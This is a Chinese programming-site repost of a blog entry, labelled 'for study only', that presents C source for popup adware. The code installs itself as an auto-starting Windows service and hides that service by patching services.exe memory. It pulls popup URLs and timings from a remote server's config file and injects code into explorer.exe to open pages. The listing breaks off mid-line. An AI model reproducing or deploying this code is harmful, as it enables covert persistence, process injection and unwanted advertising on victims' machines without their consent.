当前位置:编程学习 > 网站相关 >>

一个弹窗口的流氓软件

本文仅供学习交流使用

by:yunshu

这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。

我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。

这个是主函数,安装,读取配置,注入代码用的。
代码:
/**************************************************************************************************
* 1. 给XX作的流氓软件
* 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
**************************************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#include <Tlhelp32.h>

// 是否记录日志
//#define DEBUG
#ifdef DEBUG
 #define DEBUG_LOG "c:debug.txt"
 // 日志记录函数
 void LogToFile( WCHAR * );
#endif

#include "ControlService.h"
#include "HideService.h"
#include "CustomFunction.h"

#pragma comment (lib, "Advapi32.lib")
#pragma comment (lib, "Shell32.lib")
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "User32.lib")

#define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度
#define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
#define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器
#define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
#define IE_PATH "C:Program FilesInternet Exploreriexplore.exe"
#define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口
#define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间

// 宏,转换字符串为unicode
#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );

// 弹出窗口之间的间隔时间
int sleep_time;

// 弹出的url地址
char url_path[512] = { 0 };

/**************************************************************************************************
* 函数原形
**************************************************************************************************/

void ServiceMain( DWORD, char **); //服务入口
BOOL SetDebugPrivilege( ); //获取debug权限
DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID
void InjectCode( ); //写代码到远程进程
void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间

/**************************************************************************************************
* 程序入口,主函数
**************************************************************************************************/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
 WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
 SERVICE_TABLE_ENTRY serviceTable[2];
 
 serviceTable[0].lpServiceName = SERVICE_NAME;
 serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

 serviceTable[1].lpServiceName = NULL;
 serviceTable[1].lpServiceProc = NULL;

 GetModuleFileName( NULL, filePath, MAX_PATH );
 
 // 如果服务未安装,安装
 if( !ServiceExists( filePath ) )
 {
 if( ServiceInstall( filePath ) != TRUE )
 {
 return -1;
 }
 else
 {
 return 0;
 }
 }
 
 if( !StartServiceCtrlDispatcher( serviceTable ) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d ", GetLastError() );
 LogToFile( tmp );
 #endif
 
 return -1;
 }
 
 return 0;
}

/**************************************************************************************************
* 服务入口
**************************************************************************************************/
void ServiceMain( DWORD argc, char *argv[] )
{
 serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
 serviceStatus.dwCurrentState = SERVICE_START_PENDING;
 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
 serviceStatus.dwWin32ExitCode = 0;
 serviceStatus.dwServiceSpecificExitCode = 0;
 serviceStatus.dwCheckPoint = 0;
 serviceStatus.dwWaitHint = 0;
 
 #ifdef DEBUG
 LogToFile( L"ServiceMain: Try to register service " );
 #endif
 
 hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
 if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"ServiceMain: Register service error: %d ", GetLastError() );
 LogToFile( tmp );
 #endif
 
 return;
 }

 serviceStatus.dwCurrentState = SERVICE_RUNNING;
 serviceStatus.dwCheckPoint = 0;
 serviceStatus.dwWaitHint = 0;
 
 if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 swprintf( tmp, L"ServiceMain: Start service error: %d ", GetLastError() );
 LogToFile( tmp );
 #endif
 
 return;
 }

 #ifdef DEBUG
 LogToFile( L"ServiceMain: Start service ok " );
 #endif
 
 // 隐藏服务
 HideService( SERVICE_NAME );

 // 从网络读取配置
 GetConfig( );

 // 注入代码
 InjectCode( );

 serviceStatus.dwCurrentState = SERVICE_STOPPED;
 if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"ServiceMain: Stop service error: %d ", GetLastError() );
 LogToFile( tmp );
 #endif
 }

 #ifdef DEBUG
 LogToFile( L"Stop service in main. " );
 #endif
 
 #ifdef DEBUG
 LogToFile( L"ServiceMain Done. " );
 #endif

 return;
}

void InjectCode( )
{
 if( ! SetDebugPrivilege() )
 {
 #ifdef DEBUG
 LogToFile( L"Set Debug Privileges error. " );
 #endif

 return;
 }

 DWORD dwPID = -1;
 while( 1 )
 {
 dwPID = GetProcessIdByName( TARGET_PROCESS );
 
 if( -1 != dwPID )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"Target process id is %d ", dwPID );
 LogToFile( tmp );
 #endif

 break;
 }

 #ifdef DEBUG
 LogToFile( L"Target process not found, sleep and continue. " );
 #endif

 Sleep( 30 * 1000 );
 }

 Sleep( 2 * 60 * 1000 );

 // 打开进程
 HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
 if( ! hProcess )
 {
 #ifdef DEBUG
 LogToFile( L"OpenProcess error. " );
 #endif

 return;
 }

 //计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
 Arguments arguments;
 
 memset( (void *)&arguments, 0, sizeof(Arguments) );
 HMODULE hKernel = GetModuleHandleA( "kernel32" );
 if( hKernel == NULL )
 {
 #ifdef DEBUG
 LogToFile( L"GetModuleHandle kernel32.dll error. " );
 #endif

 return;
 }
 arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibrary

补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,